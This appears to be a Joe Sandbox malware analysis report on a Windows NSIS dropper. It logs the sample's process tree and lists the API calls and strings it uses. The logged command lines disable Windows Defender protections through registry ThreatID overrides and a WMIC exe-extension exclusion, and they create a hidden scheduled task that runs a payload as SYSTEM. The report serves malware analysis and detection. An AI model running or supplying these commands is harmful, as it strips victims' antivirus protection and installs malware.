Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:06:21
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:06:21
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:06:21
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:06:22
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:06:22
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:06:22
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:06:22
Start date:	26/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	11:06:23
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\gpupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\gpupdate.exe" /force
Imagebase:	0x870000
File size:	25'088 bytes
MD5 hash:	6DC3720EA74B49C8ED64ACA3E0162AC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:06:23
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:06:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:06:24
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:06:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:06:24
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:06:25
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x430000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:06:28
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F
Imagebase:	0x5b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:06:28
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:06:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	11:06:29
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	11:06:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C schtasks /run /I /tn biPxHmULFllsbMgnpt
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	11:06:29
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /run /I /tn biPxHmULFllsbMgnpt
Imagebase:	0x5b0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	11:06:29
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe Wt /QQndidSCwP 385128 /S
Imagebase:	0x990000
File size:	6'749'184 bytes
MD5 hash:	90487EB500021DBCB9443A2CF972A204
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	11:06:30
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:06:31
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	11:06:31
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:06:31
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:06:31
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	11:06:31
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	11:06:31
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	11:06:32
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.4%
Total number of Nodes:	1336
Total number of Limit Nodes:	20

Executed Functions

Function 00403532 Relevance: 79.2, APIs: 33, Strings: 12, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32 ref: 00403555
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 00403580
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00403593
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040362C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403669
OleInitialize.OLE32(00000000), ref: 00403670
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 0040368F
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036A4
CharNextW.USER32(00000000,0043F000,00000020,0043F000,00000000,?,00000008,0000000A,0000000C), ref: 004036DD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403815
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403826
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403832
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040384E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040385F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403867
DeleteFileW.KERNEL32(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0043F000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403954

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

wsprintfW.USER32 ref: 004039B1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 004039E4
DeleteFileW.KERNEL32(00437800), ref: 004039F0
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A1E

Part of subcall function 00406317: MoveFileExW.KERNEL32(?,?,00000005,00405E15,?,00000000,000000F1,?,?,?,?,?), ref: 00406321

CopyFileW.KERNEL32(C:\Users\user\Desktop\file.exe,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A34

Part of subcall function 00405B3A: CreateProcessW.KERNEL32(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Part of subcall function 004068B4: FindFirstFileW.KERNEL32(75923420,0042FAB8,C:\,00405F77,C:\,C:\,00000000,C:\,C:\,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

ExitProcess.KERNEL32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A7D
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A82
ExitProcess.KERNEL32 ref: 00403A9F
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AA6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AC2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AC9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403ADE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B01
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B26
ExitProcess.KERNEL32 ref: 00403B49

Part of subcall function 00405B05: CreateDirectoryW.KERNEL32(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040380A, 0040380F, 00403825, 00403831, 00403840, 0040384D, 00403859, 00403861, 0040394F, 004039D0, 004039FC, 00403A1D, 00403A26
C:\Users\user\Desktop\file.exe, xrefs: 00403A2F
~nsu%X.tmp, xrefs: 004039A8
TEMP, xrefs: 0040385A
SeShutdownPrivilege, xrefs: 00403AD8
Error launching installer, xrefs: 004038FD
UXTHEME, xrefs: 00403620, 00403625, 0040362B
TMP, xrefs: 00403862
1033, xrefs: 00403876
NSIS Error, xrefs: 00403695
Low, xrefs: 00403848
\Temp, xrefs: 0040382C

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Process$Exit$CloseDirectory$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: 1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop\file.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 2017177436-720031388
Opcode ID: e969c2e22f73361fc79175c4bfa344e76f400cd5c8ceb61292dbf8b91988ccbf
Instruction ID: 6c1349364f4d22fadfcc29bbd5f82b0434b4f5ba6e08f6571c64e8404a3f48da
Opcode Fuzzy Hash: e969c2e22f73361fc79175c4bfa344e76f400cd5c8ceb61292dbf8b91988ccbf
Instruction Fuzzy Hash: 64F10270604301ABD320AF659D45B2B7AE8EF8570AF10483EF581B22D1DB7DDA45CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405C63 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405C8C
lstrcatW.KERNEL32(0042EA70,\*.*), ref: 00405CD4
lstrcatW.KERNEL32(?,0040A014), ref: 00405CF7
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CFD
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D0D
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DAD
FindClose.KERNEL32(00000000), ref: 00405DBC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C70
\*.*, xrefs: 00405CCE
pB, xrefs: 00405CBC

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-1746305512
